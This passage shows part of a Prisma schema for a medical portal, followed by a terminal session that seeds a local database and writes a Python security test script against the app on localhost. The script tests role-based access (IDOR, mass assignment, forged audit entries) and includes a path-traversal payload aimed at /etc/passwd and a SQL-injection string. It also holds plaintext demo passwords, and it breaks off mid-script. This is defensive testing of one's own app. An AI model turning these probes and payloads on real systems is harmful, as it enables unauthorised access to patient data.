  doctorProfile    Doctor?
  nurseProfile     Nurse?
  labTechProfile   LabTechnician?
  adminProfile     AdminProfile?
  notifications    Notification[]
  sentMessages     Message[]        @relation("SentMessages")
  receivedMessages Message[]        @relation("ReceivedMessages")
  auditLogs        AuditLog[]
  refillRequestsMade PrescriptionRefillRequest[] @relation("RefillRequester")
  refillDecisions    PrescriptionRefillRequest[] @relation("RefillDecision")
  createdAt        DateTime         @default(now())
  updatedAt        DateTime         @updatedAt
}

model Department {
  id          String          @id @default(cuid())
  name        String
  description String?
  doctors     Doctor[]
  nurses      Nurse[]
  labTechs    LabTechnician[]
}

model Patient {
  id                  String         @id @default(cuid())
  user                User           @relation(fields: [userId], references: [id], onDelete: Cascade)
  userId              String         @unique
  firstName           String
  lastName            String
  email               String         @unique
  phone               String?
  dateOfBirth         DateTime
  gender              String?
  addressLine1        String?
  addressLine2        String?
  city                String?
  state               String?
  postalCode          String?
  medicalHistory      Json?
  allergies           Json?
  insuranceProvider   String?
  insurancePlanNumber String?
  insuranceGroupNumber String?
  insurancePhone      String?
  emergencyContact    String?
  emergencyPhone      String?
  primaryDoctor       Doctor?        @relation("PrimaryDoctor", fields: [primaryDoctorId], references: [id])
  primaryDoctorId     String?
  appointments        Appointment[]
  medicalRecords      MedicalRecord[]
  prescriptions       Prescription[]
  labResults          LabResult[]
  labOrders           LabOrder[]
  vitals              Vital[]
  messages            Message[]
  referrals           Referral[]     @relation("PatientReferrals")
  refillRequests      PrescriptionRefillRequest[]
  shareLinks          MedicalShareLink[]
  auditLogs           AuditLog[]
  waitlistEntries     AppointmentWaitlist[]
  createdAt           DateTime       @default(now())
  updatedAt           DateTime       @updatedAt
}

model Doctor {
  id             String          @id @default(cuid())
  user           User            @relation(fields: [userId], references: [id], onDelete: Cascade)
  userId         String          @unique
  department     Department?     @relation(fields: [departmentId], references: [id])
  departmentId   String?
  specialty      String
  bio            String?
  availability   Json?
  patients       Patient[]       @relation("PrimaryDoctor")
  appointments   Appointment[]
  medicalRecords MedicalRecord[]
  prescriptions  Prescription[]
  labResults     LabResult[]
  labOrders      LabOrder[]
  messages       Message[]
  referralsStarted Referral[]     @relation("ReferralFromDoctor")
  referralsReceived Referral[]    @relation("ReferralToDoctor")
  refillApprovals PrescriptionRefillRequest[]
  blockedSlots         DoctorAvailabilityBlock[]
  waitlistEntries      AppointmentWaitlist[]
  updatedPrescriptions Prescription[]  @relation("PrescriptionUpdatedBy")
  reviewedLabResults   LabResult[]     @relation("ResultReviewedBy")
  createdAt            DateTime        @default(now())
  updatedAt            DateTime        @updatedAt
}

model Nurse {
  id             String          @id @default(cuid())
  user           User            @relation(fields: [userId], references: [id], onDelete: Cascade)
  userId         String          @unique
  department     Department?     @relation(fields: [departmentId], references: [id])
  departmentId   String?
  title          String?
  vitals         Vital[]
  createdAt      DateTime        @default(now())
  updatedAt      DateTime        @updatedAt
}

model LabTechnician {
  id           String        @id @default(cuid())
  user         User          @relation(fields: [userId], references: [id], onDelete: Cascade)
  userId       String        @unique
  department   Department?   @relation(fields: [departmentId], references: [id])
  departmentId String?
  labOrders    LabOrder[]    @relation("LabOrderTechnician")
  labAttachments LabAttachment[]
  createdAt    DateTime      @default(now())
  updatedAt    DateTime      @updatedAt
}

model AdminProfile {
  id          String   @id @default(cuid())
  user        User     @relation(fields: [userId], references: [id], onDelete: Cascade)
  userId      String   @unique
  permissions Json?
  overrides   Appointment[] @relation("AppointmentOverrides")
  bulkImports BulkImportJob[]
}

model Appointment {
  id               String            @id @default(cuid())
  patient          Patient           @relation(fields: [patientId], references: [id], onDelete: Cascade)
  patientId        String
  doctor           Doctor            @relation(fields: [doctorId], references: [id], onDelete: SetNull)
  doctorId         String
  department       String
  reason           String?
  status           AppointmentStatus @default(SCHEDULED)
  appointmentDate  DateTime
  location         String?
  notes            String?
  checkInStatus    String?
  recurrenceRule   String?
  parentAppointment   Appointment?   @relation("AppointmentRecur", fields: [parentAppointmentId], references: [id])
  parentAppointmentId String?
  childAppointments   Appointment[]  @relation("AppointmentRecur")
  overriddenBy     AdminProfile?    @relation("AppointmentOverrides", fields: [overriddenById], references: [id])
  overriddenById   String?
  waitlistOffers   AppointmentWaitlist[]
  changeRequests   AppointmentChangeRequest[]
  createdAt        DateTime          @default(now())
  updatedAt        DateTime          @updatedAt
}

model AppointmentWaitlist {
  id         String        @id @default(cuid())
  patient    Patient       @relation(fields: [patientId], references: [id], onDelete: Cascade)
  patientId  String
  doctor     Doctor?       @relation(fields: [doctorId], references: [id])
  doctorId   String?
  status     WaitlistStatus @default(WAITING)
  desiredDate DateTime
  notes      String?
  appointment Appointment? @relation(fields: [appointmentId], references: [id])
  appointmentId String?
  createdAt   DateTime      @default(now())
}

model AppointmentChangeRequest {
  id            String     @id @default(cuid())
  appointment   Appointment @relation(fields: [appointmentId], references: [id], onDelete: Cascade)
  appointmentId String
  requestedByPatient Boolean @default(true)
  requestedTime DateTime
  status        String      @default("pending")
  adminNotes    String?
  createdAt     DateTime    @default(now())
  respondedAt   DateTime?
}

model DoctorAvailabilityBlock {
  id        String   @id @default(cuid())
  doctor    Doctor   @relation(fields: [doctorId], references: [id], onDelete: Cascade)
  doctorId  String
  startTime DateTime
  endTime   DateTime
  reason    String?
  createdAt DateTime @default(now())
}

model MedicalRecord {
  id          String   @id @default(cuid())
  patient     Patient  @relation(fields: [patientId], references: [id], onDelete: Cascade)
  patientId   String
  doctor      Doctor?  @relation(fields: [doctorId], references: [id])
  doctorId    String?
  title       String
  visitDate   DateTime
  department  String
  summary     String
  attachments Json?
  createdAt   DateTime @default(now())
}

model Prescription {
  id            String   @id @default(cuid())
  patient       Patient  @relation(fields: [patientId], references: [id], onDelete: Cascade)
  patientId     String
  doctor        Doctor   @relation(fields: [doctorId], references: [id])
  doctorId      String
  medication    String
  dosage        String
  frequency     String
  instructions  String?
  startDate     DateTime
  endDate       DateTime?
  refills       Int      @default(0)
  refillsRemaining Int   @default(0)
  expiresOn     DateTime?
  updatedBy     Doctor?  @relation("PrescriptionUpdatedBy", fields: [updatedById], references: [id])
  updatedById   String?
  refillRequests PrescriptionRefillRequest[]
  createdAt     DateTime @default(now())
  updatedAt     DateTime @updatedAt
}

model PrescriptionRefillRequest {
  id            String             @id @default(cuid())
  prescription  Prescription       @relation(fields: [prescriptionId], references: [id], onDelete: Cascade)
  prescriptionId String
  patient       Patient            @relation(fields: [patientId], references: [id], onDelete: Cascade)
  patientId     String
  doctor        Doctor?            @relation(fields: [doctorId], references: [id])
  doctorId      String?
  requestedBy   User               @relation("RefillRequester", fields: [requestedById], references: [id], onDelete: Cascade)
  requestedById String
  status        RefillRequestStatus @default(PENDING)
  message       String?
  denialReason  String?
  decisionBy    User?              @relation("RefillDecision", fields: [decisionById], references: [id])
  decisionById  String?
  decidedAt     DateTime?
  createdAt     DateTime           @default(now())
}

model LabResult {
  id             String          @id @default(cuid())
  patient        Patient         @relation(fields: [patientId], references: [id], onDelete: Cascade)
  patientId      String
  doctor         Doctor?         @relation(fields: [doctorId], references: [id])
  doctorId       String?
  labOrder       LabOrder?       @relation(fields: [labOrderId], references: [id])
  labOrderId     String?         @unique
  testName       String
  resultDate     DateTime
  resultSummary  String
  status         LabResultStatus @default(PENDING_REVIEW)
  value          String?
  referenceRange String?
  attachmentUrl  String?
  reviewNotes    String?
  reviewedBy     Doctor?         @relation("ResultReviewedBy", fields: [reviewedById], references: [id])
  reviewedById   String?
  releasedAt     DateTime?
  createdAt      DateTime        @default(now())
  attachments    LabAttachment[]
}

model LabAttachment {
  id           String        @id @default(cuid())
  labResult    LabResult     @relation(fields: [labResultId], references: [id], onDelete: Cascade)
  labResultId  String
  technician   LabTechnician @relation(fields: [technicianId], references: [id])
  technicianId String
  fileName     String
  fileUrl      String
  fileType     String
  uploadedAt   DateTime      @default(now())
}

model LabOrder {
  id             String        @id @default(cuid())
  patient        Patient       @relation(fields: [patientId], references: [id], onDelete: Cascade)
  patientId      String
  doctor         Doctor        @relation(fields: [doctorId], references: [id])
  doctorId       String
  technician     LabTechnician? @relation("LabOrderTechnician", fields: [technicianId], references: [id])
  technicianId   String?
  status         LabOrderStatus @default(PENDING)
  testName       String
  priority       String?
  notes          String?
  attachments    Json?
  createdAt      DateTime      @default(now())
  updatedAt      DateTime      @updatedAt
  labResult      LabResult?
}

model Vital {
  id              String   @id @default(cuid())
  patient         Patient  @relation(fields: [patientId], references: [id], onDelete: Cascade)
  patientId       String
  nurse           Nurse?   @relation(fields: [nurseId], references: [id])
  nurseId         String?
  recordedAt      DateTime @default(now())
  heartRate       Int?
  bloodPressure   String?
  temperature     Float?
  respiratoryRate Int?
  notes           String?
}

model Notification {
  id          String           @id @default(cuid())
  user        User             @relation(fields: [userId], references: [id], onDelete: Cascade)
  userId      String
  type        NotificationType
  title       String
  description String
  link        String?
  readAt      DateTime?
  createdAt   DateTime         @default(now())
}

model Message {
  id          String   @id @default(cuid())
  sender      User     @relation("SentMessages", fields: [senderId], references: [id], onDelete: Cascade)
  senderId    String
  recipient   User     @relation("ReceivedMessages", fields: [recipientId], references: [id], onDelete: Cascade)
  recipientId String
  patient     Patient? @relation(fields: [patientId], references: [id])
  patientId   String?
  doctor      Doctor?  @relation(fields: [doctorId], references: [id])
  doctorId    String?
  content     String
  createdAt   DateTime @default(now())
  readAt      DateTime?
}

model Referral {
  id           String         @id @default(cuid())
  patient      Patient        @relation("PatientReferrals", fields: [patientId], references: [id], onDelete: Cascade)
  patientId    String
  fromDoctor   Doctor         @relation("ReferralFromDoctor", fields: [fromDoctorId], references: [id])
  fromDoctorId String
  toDoctor     Doctor         @relation("ReferralToDoctor", fields: [toDoctorId], references: [id])
  toDoctorId   String
  status       ReferralStatus @default(PENDING)
  reason       String
  notes        String?
  expiresAt    DateTime?
  createdAt    DateTime       @default(now())
  updatedAt    DateTime       @updatedAt
}

model MedicalShareLink {
  id         String         @id @default(cuid())
  patient    Patient        @relation(fields: [patientId], references: [id], onDelete: Cascade)
  patientId  String
  token      String         @unique
  status     ShareLinkStatus @default(ACTIVE)
  expiresAt  DateTime
  createdAt  DateTime       @default(now())
  accessCount Int           @default(0)
}

model AuditLog {
  id          String      @id @default(cuid())
  user        User        @relation(fields: [userId], references: [id], onDelete: Cascade)
  userId      String
  patient     Patient?    @relation(fields: [patientId], references: [id])
  patientId   String?
  action      AuditAction
  resourceType String
  resourceId  String
  details     Json?
  createdAt   DateTime    @default(now())
}

model BulkImportJob {
  id          String          @id @default(cuid())
  admin       AdminProfile    @relation(fields: [adminId], references: [id], onDelete: Cascade)
  adminId     String
  fileName    String
  status      BulkImportStatus @default(PENDING)
  totalRows   Int?
  processedRows Int?         @default(0)
  errorReport Json?
  createdAt   DateTime        @default(now())
  completedAt DateTime?
}

$ curl -s -o /dev/null -w "%{http_code}" http://localhost:3000/

200

$ cd /home/user/dev/medportal && npx prisma db seed 2>&1 | tail -5

  errorCode: undefined
}

An error occurred while running the seed command:
Error: Command failed with exit code 1: ts-node prisma/seed.ts

$ cd /home/user/dev/medportal && npx prisma db seed 2>&1 | head -30

Running seed command `ts-node prisma/seed.ts` ...
(node:20688) [MODULE_TYPELESS_PACKAGE_JSON] Warning: Module type of file:///home/user/dev/medportal/prisma/seed.ts is not specified and it doesn't parse as CommonJS.
Reparsing as ES module because module syntax was detected. This incurs a performance overhead.
To eliminate this warning, add "type": "module" to /home/user/dev/medportal/package.json.
(Use `node --trace-warnings ...` to show where the warning was created)
PrismaClientInitializationError: 
Invalid `prisma.auditLog.deleteMany()` invocation:


error: Environment variable not found: DATABASE_URL.
  -->  schema.prisma:7
   | 
 6 |   provider = "postgresql"
 7 |   url      = env("DATABASE_URL")
   | 

Validation Error Count: 1
    at In.handleRequestError (/home/user/dev/medportal/node_modules/.pnpm/@prisma+client@5.11.0_prisma@5.11.0/node_modules/@prisma/client/runtime/library.js:122:7154)
    at In.handleAndLogRequestError (/home/user/dev/medportal/node_modules/.pnpm/@prisma+client@5.11.0_prisma@5.11.0/node_modules/@prisma/client/runtime/library.js:122:6188)
    at In.request (/home/user/dev/medportal/node_modules/.pnpm/@prisma+client@5.11.0_prisma@5.11.0/node_modules/@prisma/client/runtime/library.js:122:5896)
    at async l (/home/user/dev/medportal/node_modules/.pnpm/@prisma+client@5.11.0_prisma@5.11.0/node_modules/@prisma/client/runtime/library.js:127:10871)
    at async main (file:///home/user/dev/medportal/prisma/seed.ts:20:3) {
  clientVersion: '5.11.0',
  errorCode: undefined
}

An error occurred while running the seed command:
Error: Command failed with exit code 1: ts-node prisma/seed.ts

$ cd /home/user/dev/medportal && DATABASE_URL="postgresql://medportal:medportal123@localhost:5432/medportal" npx prisma db seed 2>&1 | tail -5

Reparsing as ES module because module syntax was detected. This incurs a performance overhead.
To eliminate this warning, add "type": "module" to /home/user/dev/medportal/package.json.
(Use `node --trace-warnings ...` to show where the warning was created)

🌱  The seed command has been executed.

$ # Test 1: Login and get sessions for each role
# Get admin session cookie
ADMIN_SESSION=$(curl -s -c /tmp/admin_cookies.txt -b /tmp/admin_cookies.txt -X POST http://localhost:3000/api/auth/callback/credentials \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=admin@medportal.com&password=admin123&csrfToken=" \
  -w "\n%{http_code}" 2>&1)
echo "Admin login: $ADMIN_SESSION" | tail -1

# Let's try the NextAuth login properly
curl -v -c /tmp/admin_cookies.txt http://localhost:3000/api/auth/csrf 2>&1 | grep -i csrftoken

302
{"csrfToken":"2055401412df33fc4ffeaaeb2f0f7e9e7ecd6a4dede594e8086132d4aa351e29"}

$ cat > /tmp/medportal_test.py << 'PYEOF'
import requests
import json
import sys

BASE = "http://localhost:3000"
s = requests.Session()

def login(email, password):
    """Login via NextAuth credentials provider"""
    s.cookies.clear()
    # Get CSRF token
    r = s.get(f"{BASE}/api/auth/csrf")
    csrf = r.json()["csrfToken"]
    # Login
    r = s.post(f"{BASE}/api/auth/callback/credentials", data={
        "email": email,
        "password": password,
        "csrfToken": csrf
    }, allow_redirects=True)
    # Verify session
    r = s.get(f"{BASE}/api/auth/session")
    sess = r.json()
    return sess

def test(name, method, url, data=None, session=None, expected_status=None):
    """Execute a test request"""
    if session is None:
        session = s
    headers = {"Content-Type": "application/json"} if data else {}
    if method == "GET":
        r = session.get(url, params=data)
    elif method == "POST":
        r = session.post(url, json=data)
    elif method == "PATCH":
        r = session.patch(url, json=data)
    elif method == "DELETE":
        r = session.delete(url)
    
    status_ok = True
    if expected_status:
        status_ok = r.status_code == expected_status
    
    result = {
        "test": name,
        "status": r.status_code,
        "expected": expected_status,
        "pass": status_ok,
        "body": r.text[:500] if r.text else ""
    }
    return result, r

results = []

# ============================================
# SECTION 1: AUTHENTICATION TESTS
# ============================================
print("=" * 60)
print("SECTION 1: AUTHENTICATION")
print("=" * 60)

# 1.1 Valid login for each role
roles = {
    "admin": ("admin@medportal.com", "admin123"),
    "doctor": ("dr.patel@medportal.com", "doctor123"),
    "doctor2": ("dr.lee@medportal.com", "doctorlee123"),
    "nurse": ("nurse.james@medportal.com", "nurse123"),
    "lab": ("lab.snow@medportal.com", "lab123"),
    "patient": ("avery.johnson@medportal.com", "patient123"),
}

sessions = {}
for role_name, (email, pw) in roles.items():
    sess = requests.Session()
    csrf_r = sess.get(f"{BASE}/api/auth/csrf")
    csrf = csrf_r.json()["csrfToken"]
    sess.post(f"{BASE}/api/auth/callback/credentials", data={
        "email": email, "password": pw, "csrfToken": csrf
    }, allow_redirects=True)
    session_r = sess.get(f"{BASE}/api/auth/session")
    session_data = session_r.json()
    sessions[role_name] = sess
    print(f"  {role_name}: logged in as {session_data.get('user', {}).get('email', 'FAILED')}")

# 1.2 Invalid login
inv_sess = requests.Session()
csrf_r = inv_sess.get(f"{BASE}/api/auth/csrf")
csrf = csrf_r.json()["csrfToken"]
r = inv_sess.post(f"{BASE}/api/auth/callback/credentials", data={
    "email": "admin@medportal.com", "password": "wrongpass", "csrfToken": csrf
}, allow_redirects=True)
session_r = inv_sess.get(f"{BASE}/api/auth/session")
print(f"  Invalid login test: session empty = {session_r.json().get('user') is None}")

# 1.3 Unauthenticated access to API
r = requests.get(f"{BASE}/api/users")
print(f"  Unauth GET /api/users: {r.status_code} (expect 401)")
r = requests.get(f"{BASE}/api/patients")
print(f"  Unauth GET /api/patients: {r.status_code} (expect 401)")

# 1.4 Dashboard redirect without auth
r = requests.get(f"{BASE}/dashboard", allow_redirects=False)
print(f"  Unauth /dashboard redirect: {r.status_code} (expect 307/302)")

print()

# ============================================
# SECTION 2: AUTHORIZATION - HORIZONTAL & VERTICAL ACCESS
# ============================================
print("=" * 60)
print("SECTION 2: AUTHORIZATION (BOLA / IDOR)")
print("=" * 60)

# 2.1 Patient accessing other patient's data (IDOR)
patient_sess = sessions["patient"]
r = patient_sess.get(f"{BASE}/api/patients")
patient_data = r.json()
if isinstance(patient_data, list) and len(patient_data) > 1:
    print(f"  [!] Patient can list ALL patients: {len(patient_data)} patients returned (should be forbidden)")
elif isinstance(patient_data, dict) and patient_data.get("error") == "Forbidden":
    print(f"  [OK] Patient cannot list patients (403)")
else:
    print(f"  Patient list response: {r.status_code} - {r.text[:200]}")

# 2.2 Get a specific patient ID to test IDOR
r = patient_sess.get(f"{BASE}/api/patients")
# Patient should only see their own records in some endpoints; let's get patient IDs from admin
admin_sess = sessions["admin"]
r = admin_sess.get(f"{BASE}/api/patients")
admin_patients = r.json()
patient_ids = [p["id"] for p in admin_patients] if isinstance(admin_patients, list) else []
user_ids = []

# Get user IDs
r = admin_sess.get(f"{BASE}/api/users")
admin_users = r.json()
if isinstance(admin_users, list):
    user_ids = [u["id"] for u in admin_users]
    # Check if passwords are returned
    has_password = any("password" in u for u in admin_users)
    print(f"  [!] GET /api/users returns {len(admin_users)} users, password field present: {has_password}")

# 2.3 Patient accessing another patient's profile by ID
if len(patient_ids) >= 1:
    # The patient should only see their own data
    other_patient_id = patient_ids[0]  # first patient
    r = patient_sess.get(f"{BASE}/api/patients/{other_patient_id}")
    print(f"  Patient GET /api/patients/{other_patient_id[:8]}...: {r.status_code}")
    if r.status_code == 200:
        print(f"    [!] IDOR: Patient can access any patient record by ID")
    
# 2.4 Patient can modify other patients' data
if len(patient_ids) >= 1:
    r = patient_sess.patch(f"{BASE}/api/patients/{patient_ids[0]}", json={"city": "HackedCity"})
    print(f"  Patient PATCH /api/patients/{patient_ids[0][:8]}...: {r.status_code}")
    if r.status_code == 200:
        print(f"    [CRITICAL] IDOR: Patient can modify any patient record!")

# 2.5 Patient accessing admin-only endpoints
r = patient_sess.get(f"{BASE}/api/audit-logs")
print(f"  Patient GET /api/audit-logs: {r.status_code} (expect 403)")

r = patient_sess.get(f"{BASE}/api/bulk-imports")
print(f"  Patient GET /api/bulk-imports: {r.status_code} (expect 403)")

# 2.6 Nurse accessing prescriptions (role check)
r = sessions["nurse"].get(f"{BASE}/api/prescriptions")
print(f"  Nurse GET /api/prescriptions: {r.status_code}")

# 2.7 Lab tech accessing medical records
r = sessions["lab"].get(f"{BASE}/api/medical-records")
print(f"  Lab tech GET /api/medical-records: {r.status_code}")

# 2.8 Patient deleting appointments that aren't theirs
r = admin_sess.get(f"{BASE}/api/appointments")
appts = r.json()
if isinstance(appts, list) and len(appts) > 0:
    appt_id = appts[0]["id"]
    r = patient_sess.delete(f"{BASE}/api/appointments/{appt_id}")
    print(f"  Patient DELETE /api/appointments/{appt_id[:8]}...: {r.status_code}")
    if r.status_code == 200:
        print(f"    [!] Patient can delete ANY appointment")

# 2.9 Patient updating appointments (no ownership check)
if isinstance(appts, list) and len(appts) > 0:
    r = patient_sess.patch(f"{BASE}/api/appointments/{appts[0]['id']}", json={"reason": "Hacked"})
    print(f"  Patient PATCH appointment: {r.status_code}")
    if r.status_code == 200:
        print(f"    [!] Patient can modify ANY appointment")

# 2.10 Referral access - patient shouldn't see referrals
r = patient_sess.get(f"{BASE}/api/referrals")
print(f"  Patient GET /api/referrals: {r.status_code} (expect 403)")

# 2.11 Individual referral access without auth check
r = admin_sess.get(f"{BASE}/api/referrals")
referrals = r.json()
if isinstance(referrals, list) and len(referrals) > 0:
    ref_id = referrals[0]["id"]
    # Any authenticated user can view any referral
    for role_name, role_sess in sessions.items():
        r = role_sess.get(f"{BASE}/api/referrals/{ref_id}")
        print(f"  {role_name} GET /api/referrals/[id]: {r.status_code}")
        if r.status_code == 200 and role_name in ["patient", "nurse", "lab"]:
            print(f"    [!] BOLA: {role_name} can view any referral by ID")

print()

# ============================================
# SECTION 3: INPUT HANDLING / MASS ASSIGNMENT
# ============================================
print("=" * 60)
print("SECTION 3: MASS ASSIGNMENT / INPUT MANIPULATION")
print("=" * 60)

# 3.1 User creation with arbitrary role (admin only, but no validation)
r = admin_sess.post(f"{BASE}/api/users", json={
    "name": "Test Hacker",
    "email": "hacker@test.com",
    "password": "hack123",
    "role": "ADMIN"
})
print(f"  Admin creates ADMIN user: {r.status_code}")
if r.status_code == 201:
    hacker_id = r.json().get("id", "")
    print(f"    [!] Created admin user via API, id={hacker_id}")
    # Clean up
    admin_sess.delete(f"{BASE}/api/users/{hacker_id}")

# 3.2 User PATCH with password hash manipulation
if len(user_ids) > 1:
    r = admin_sess.patch(f"{BASE}/api/users/{user_ids[1]}", json={"role": "ADMIN"})
    print(f"  Admin PATCH user role to ADMIN: {r.status_code}")
    if r.status_code == 200:
        print(f"    [!] Mass assignment: role can be set to ADMIN via PATCH")
        # Revert
        admin_sess.patch(f"{BASE}/api/users/{user_ids[1]}", json={"role": "PATIENT"})

# 3.3 Patient directly passing body to prisma.create (no field whitelist)
r = patient_sess.post(f"{BASE}/api/patients", json={
    "firstName": "Hacked",
    "lastName": "Patient",
    "email": "hacked@patient.com",
    "dateOfBirth": "2000-01-01T00:00:00Z",
    "medicalHistory": ["Fabricated"],
    "insuranceProvider": "Fake Insurance"
})
print(f"  Patient POST /api/patients: {r.status_code} (expect 403)")

# 3.4 Appointment creation with arbitrary patientId/doctorId
r = patient_sess.post(f"{BASE}/api/appointments", json={
    "patientId": patient_ids[0] if patient_ids else "fake",
    "doctorId": "fake-doctor",
    "department": "Hacked",
    "reason": "Injection test",
    "status": "COMPLETED",
    "appointmentDate": "2025-01-01T10:00:00Z"
})
print(f"  Patient POST appointment with arbitrary IDs: {r.status_code}")

# 3.5 Change request without auth check (no role verification)
r = patient_sess.post(f"{BASE}/api/appointments/change-requests", json={
    "appointmentId": appts[0]["id"] if isinstance(appts, list) and len(appts) > 0 else "fake",
    "requestedTime": "2025-06-01T10:00:00Z"
})
print(f"  Patient POST change-request: {r.status_code} (should be restricted)")

# 3.6 Waitlist - non-patient setting arbitrary patientId
r = sessions["nurse"].post(f"{BASE}/api/appointments/waitlist", json={
    "patientId": patient_ids[0] if patient_ids else "fake",
    "doctorId": "fake",
    "desiredDate": "2025-01-01T10:00:00Z",
    "notes": "Nurse setting arbitrary patient"
})
print(f"  Nurse POST waitlist with arbitrary patientId: {r.status_code}")

# 3.7 Audit log POST - any authenticated user can write audit logs
r = patient_sess.post(f"{BASE}/api/audit-logs", json={
    "action": "VIEW_RECORD",
    "resourceType": "medical_record",
    "resourceId": "forged-entry",
    "details": {"note": "Forged audit entry by patient"}
})
print(f"  Patient POST /api/audit-logs: {r.status_code}")
if r.status_code == 201:
    print(f"    [CRITICAL] Any authenticated user can WRITE audit logs (audit integrity compromised)")

# 3.8 Notification POST - send notification to any user
if user_ids:
    r = sessions["patient"].post(f"{BASE}/api/notifications", json={
        "userId": user_ids[0],
        "title": "Fake notification",
        "description": "This is a forged notification"
    })
    print(f"  Patient POST notification to any user: {r.status_code}")
    if r.status_code == 403:
        print(f"    [OK] Patient blocked from sending notifications")

# 3.9 Message POST - patient can send message with arbitrary senderId
if user_ids and patient_ids:
    r = patient_sess.post(f"{BASE}/api/messages", json={
        "recipientId": user_ids[0],
        "patientId": patient_ids[0],
        "doctorId": "fake-doctor-id",
        "content": "Test message - no field restriction"
    })
    print(f"  Patient POST message: {r.status_code}")

# 3.10 Lab result upload - file path manipulation
r = sessions["lab"].post(f"{BASE}/api/lab-results/upload", json={
    "labResultId": "any-id",
    "fileName": "../../../etc/passwd",
    "fileUrl": "file:///etc/passwd",
    "fileType": "text/plain",
    "markCompleted": False
})
print(f"  Lab tech POST upload with path traversal: {r.status_code}")

# 3.11 Doctor PATCH user directly (pass entire body to prisma)
r = admin_sess.patch(f"/api/users/admin_id", json={"password": "newhash"})
print(f"  Direct password hash update via PATCH: test skipped (admin-only)")

print()

# ============================================
# SECTION 4: SEARCH - POTENTIAL INJECTION
# ============================================
print("=" * 60)
print("SECTION 4: SEARCH & INFORMATION DISCLOSURE")
print("=" * 60)

# 4.1 Search with no restrictions - any authenticated user
for role_name, role_sess in sessions.items():
    r = role_sess.get(f"{BASE}/api/search", params={"q": "a", "type": "all"})
    if r.status_code == 200:
        data = r.json()
        print(f"  {role_name} search 'a': {len(data)} results")
    else:
        print(f"  {role_name} search: {r.status_code}")

# 4.2 Search reveals patient records to non-privileged roles
r = patient_sess.get(f"{BASE}/api/search", params={"q": "Avery", "type": "patient"})
print(f"  Patient search for 'Avery' (type=patient): {r.status_code} - {r.text[:200]}")

r = patient_sess.get(f"{BASE}/api/search", params={"q": "Annual", "type": "record"})
print(f"  Patient search for medical records: {r.status_code} - {r.text[:200]}")

# 4.3 Search with special characters
r = patient_sess.get(f"{BASE}/api/search", params={"q": "' OR 1=1--", "type": "all"})
print(f"  Search with SQL-like injection: {r.status_code}")

# 4.4 Search no rate limiting test
import time
start = time.time()
for i in range(20):
    r = patient_sess.get(f"{BASE}/api/search", params={"q": f"test{i}"})
elapsed = time.time() - start
print(f"  20 search requests in {elapsed:.2f}s - no rate limiting detected")

print()

# ============================================
# SECTION 5: SHARE LINKS & TOKEN SECURITY
# ============================================
print("=" * 60)
print("SECTION 5: SHARE LINKS & TOKEN SECURITY")
print("=" * 60)

# 5.1 Predictable share link token
r = patient_sess.get(f"{BASE}/api/share-links")
links = r.json()
if isinstance(links, list):
    for link in links:
        print(f"  Share link token: {link.get('token', 'N/A')} (length: {len(str(link.get('token', '')))})")
        if link.get('token') == 'share-demo-token':
            print(f"    [!] Hardcoded/predictable share link token: 'share-demo-token'")

# 5.2 Patient creating share link with arbitrary patientId
r = patient_sess.post(f"{BASE}/api/share-links", json={
    "patientId": patient_ids[1] if len(patient_ids) > 1 else "fake",
    "expiresAt": "2030-01-01T00:00:00Z"
})
print(f"  Patient creating share link with other patientId: {r.status_code}")

# 5.3 Admin can revoke/update share links of any patient
if isinstance(links, list) and len(links) > 0:
    link_id = links[0]["id"]
    r = admin_sess.patch(f"{BASE}/api/share-links/{link_id}", json={"status": "REVOKED"})
    print(f"  Admin PATCH share-link status: {r.status_code}")
    # Re-activate
    admin_sess.patch(f"{BASE}/api/share-links/{link_id}", json={"status": "ACTIVE"})

print()

# ============================================
# SECTION 6: SESSION & COOKIE SECURITY
# ============================================
print("=" * 60)
print("SECTION 6: SESSION & COOKIE SECURITY")
print("=" * 60)

# 6.1 Check session cookie flags
csrf_r = sessions["patient"].get(f"{BASE}/api/auth/csrf")
cookies = sessions["patient"].cookies.get_dict()
print(f"  Session cookies: {list(cookies.keys())}")
for name, value in cookies.items():
    print(f"    Cookie '{name}': length={len(value)}")

# 6.2 Check response headers
r = requests.get(f"{BASE}/api/auth/session")
headers = dict(r.headers)
security_headers = ["x-frame-options", "x-content-type-options", "strict-transport-security", "content-security-policy", "x-xss-protection"]
for h in security_headers:
    if h in headers:
        print(f"  {h}: {headers[h]}")
    else:
        print(f"  [!] Missing header: {h}")

# 6.3 CSRF protection on state-changing operations
# Try POST without CSRF token
new_sess = requests.Session()
csrf_r = new_sess.get(f"{BASE}/api/auth/csrf")
csrf = csrf_r.json()["csrfToken"]
new_sess.post(f"{BASE}/api/auth/callback/credentials", data={
    "email": "admin@medportal.com", "password": "admin123", "csrfToken": csrf
}, allow_redirects=True)

# API calls don't require CSRF token (only cookie auth)
r = new_sess.post(f"{BASE}/api/users", json={
    "name": "No CSRF Test",
    "email": "nocsrf@test.com",
    "password": "test123"
})
print(f"  POST without CSRF token: {r.status_code} (API endpoints lack CSRF protection)")
if r.status_code == 201:
    created = r.json()
    admin_sess.delete(f"{BASE}/api/users/{created['id']}")

print()

# ============================================
# SECTION 7: SENSITIVE DATA EXPOSURE
# ============================================
print("=" * 60)
print("SECTION 7: SENSITIVE DATA EXPOSURE")
print("=" * 60)

# 7.1 Password hashes in user listing
r = admin_sess.get(f"{BASE}/api/users")
users = r.json()
if isinstance(users, list):
    for u in users[:2]:
        has_pw = "password" in u
        pw_value = u.get("password", "N/A")[:20] if has_pw else "N/A"
        print(f"  User {u.get('email')}: password field present={has_pw}, starts_with={pw_value}...")
        break

# 7.2 Patient profile contains insurance info
r = patient_sess.get(f"{BASE}/api/patients")
if r.status_code == 403:
    r = patient_sess.get(f"{BASE}/api/search", params={"q": "a", "type": "patient"})
    
r = admin_sess.get(f"{BASE}/api/patients")
patients = r.json()
if isinstance(patients, list) and len(patients) > 0:
    p = patients[0]
    sensitive_fields = ["insuranceProvider", "insurancePlanNumber", "insuranceGroupNumber", "phone", "emergencyContact", "emergencyPhone", "medicalHistory", "allergies"]
    found = [f for f in sensitive_fields if p.get(f)]
    print(f"  Patient record contains sensitive fields: {found}")

# 7.3 .env file exposure
r = requests.get(f"{BASE}/.env")
print(f"  GET /.env: {r.status_code} ({'EXPOSED!' if r.status_code == 200 else 'OK'})")

# 7.4 NextAuth debug endpoints
r = requests.get(f"{BASE}/api/auth/providers")
print(f"  GET /api/auth/providers: {r.status_code} - {r.text[:200]}")

# 7.5 Check for verbose error messages
r = requests.get(f"{BASE}/api/users/not-a-real-id")
